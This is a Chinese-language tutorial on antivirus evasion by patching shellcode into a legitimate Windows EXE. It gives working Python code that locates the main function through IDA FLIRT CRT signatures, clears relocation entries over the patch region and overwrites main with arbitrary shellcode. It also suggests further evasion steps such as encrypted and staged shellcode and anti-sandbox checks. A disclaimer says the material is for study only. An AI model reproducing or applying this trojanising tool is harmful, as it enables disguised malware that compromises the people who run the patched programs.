自动化patch shellcode到EXE实现免杀
字数 1148 2025-08-23 18:31:09
自动化Patch Shellcode到EXE实现免杀技术详解
1. 技术背景与核心思想
本技术基于早期工具Shellter的核心思路,通过分析PE文件执行流,在必经的执行路径上patch shellcode实现免杀。主要特点包括:
- 不创建新节区或修改入口点,降低检测风险
- 利用程序正常执行流程中的必经路径插入shellcode
- 涉及PE文件结构分析、函数定位和重定位表处理
2. 技术实现流程
2.1 定位Main函数
2.1.1 定位策略选择
- 不选择OEP(原始入口点):过于明显易被检测
- 不选择CRT初始化代码:同样容易被检测
- 最佳选择:进入main函数后的必经路径
2.1.2 利用IDA FLIRT签名定位
IDA使用FLIRT (Fast Library Identification and Recognition Technology)签名技术,其中包含专门识别CRT的"启动签名":
-
启动签名位置:
- IDA SDK的flair/startup文件夹下
- 打包好的签名在sig文件夹下(pe.sig和pe64.sig)
-
签名结构特点:
- 基于前缀树的组织结构
- 包含模式匹配和附加信息
示例签名格式:
Pattern : 33C040C20C00 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe
- 关键信息提取:
m=+171^[_wWinMain@16]:表示main函数相对于CRT启动函数的偏移量- 需要验证偏移位置是否为
E8(call指令)
2.1.3 实现代码解析
def extract_patterns_and_m_values(file_path):
# 从签名文件中提取模式和偏移量
patterns = {}
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
sections = content.strip().split('\n\n')
for section in sections:
pattern_match = re.search(r'Pattern:\s*(.+)', section)
m_values = re.findall(r'm=[+-]([0-9A-Fa-f]+)', section)
if pattern_match:
pattern = pattern_match.group(1).strip()
filtered_m_values = [m.strip() for m in m_values if re.match(r'.*[0-9A-Fa-f]$', m.strip())]
if filtered_m_values:
patterns[pattern] = filtered_m_values
return patterns
def search_bytes_in_file(data, pattern):
# 在文件中搜索匹配模式
pattern = pattern.replace('..', r'.{1}')
pattern = re.sub(r'([0-9A-Fa-f]{2})', r'\\x\1', pattern)
regex = bytes(pattern, 'utf-8')
match = re.search(regex, data)
return match
def get_main_offset(data, pattern_path):
# 获取main函数偏移量
patterns = extract_patterns_and_m_values(pattern_path)
for pattern, m_values in patterns.items():
match = search_bytes_in_file(data, pattern)
if match:
for m in m_values:
if data[match.start() + int(m, 16)] == 0xE8:
call_main_offset = match.start() + int(m, 16)
return call_main_offset
return 0
2.2 处理重定位表问题
2.2.1 问题现象
- 静态分析时地址与运行时加载地址不一致
- 导致patch的代码被重定位机制修改
2.2.2 解决方案
修改重定位表中指向patch区域的条目:
- 遍历重定位表
- 找到指向patch区域的条目
- 将这些条目清零或修改
实现代码:
def modify_relocation_entries(pe, target_rva_start, target_rva_end):
if not hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
print("No Base Relocation Table found.")
return
# 遍历每个重定位块
for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
new_entries = []
for entry in base_reloc.entries:
entry_rva = entry.rva
if target_rva_start <= entry_rva <= target_rva_end:
# 修改指向patch区域的条目
entry.type = 0
entry.rva = 0
else:
new_entries.append(entry)
base_reloc.entries = new_entries
2.3 完整Patch流程
- 读取PE文件和shellcode
- 确定文件架构(32位或64位)
- 使用相应签名文件定位main函数
- 计算main函数RVA和文件偏移
- 修改重定位表
- 写入patch后的文件
完整实现:
def patch_pe(pe_file_path, shellcode_path):
with open(shellcode_path, 'rb') as f:
shellcode = f.read()
shellcode_size = len(shellcode)
pe = pefile.PE(pe_file_path)
with open(pe_file_path, 'rb') as f:
data = f.read()
# 确定文件类型
file_type = 32 if pe.FILE_HEADER.Machine == pefile.MACHINE_TYPE['IMAGE_FILE_MACHINE_I386'] else 64
pattern_path = 'pe.txt' if file_type == 32 else 'pe64.txt'
# 定位main函数
call_main_offset = get_main_offset(data, pattern_path)
if call_main_offset == 0:
print("Cant pattern crt or main!")
else:
call_main_rva = pe.get_rva_from_offset(call_main_offset)
relative_offset = int.from_bytes(data[call_main_offset+1:call_main_offset+5], 'little', signed=True)
main_rva = call_main_rva + relative_offset + 5
main_offset = pe.get_offset_from_rva(main_rva)
print(f"Main RVA: 0x{main_rva:X}, Main offset: 0x{main_offset:X}")
# 修改重定位表
modify_relocation_entries(pe, main_rva, main_rva + shellcode_size)
# 写入patch后的文件
output_file_path = 'output.exe'
pe.write(output_file_path)
with open(output_file_path, 'rb+') as f:
f.seek(main_offset)
f.write(shellcode)
print(f"Patch PE file saved as: {output_file_path}")
3. 进阶优化方向
-
更隐蔽的patch位置:
- 使用AST分析控制流,选择更深层的必经路径
- 劫持系统API调用路径
-
签名处理优化:
- 逆向dumpsig实现更优雅的签名匹配
- 处理签名碰撞情况
-
免杀增强:
- 加密shellcode,运行时解密
- 分阶段加载shellcode
- 添加反调试和反沙箱检测
4. 参考资源
- 《IDA Pro权威指南(第二版)》
- PE文件格式官方文档
- Microsoft CRT启动过程文档
- Shellter工具源代码分析
5. 注意事项
- 本技术仅供学习和研究使用
- 实际使用时需要考虑目标系统的DEP、ASLR等防护机制
- 不同编译器和版本的PE文件可能需要调整签名匹配
- 过度修改重定位表可能影响程序稳定性